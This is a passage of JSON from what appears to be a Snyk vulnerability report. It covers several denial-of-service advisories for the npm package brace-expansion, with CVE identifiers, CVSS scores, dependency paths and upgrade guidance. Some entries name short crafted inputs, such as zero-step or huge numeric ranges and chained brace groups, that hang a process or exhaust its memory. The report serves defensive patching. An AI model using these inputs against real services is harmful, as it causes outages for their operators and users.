[GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## 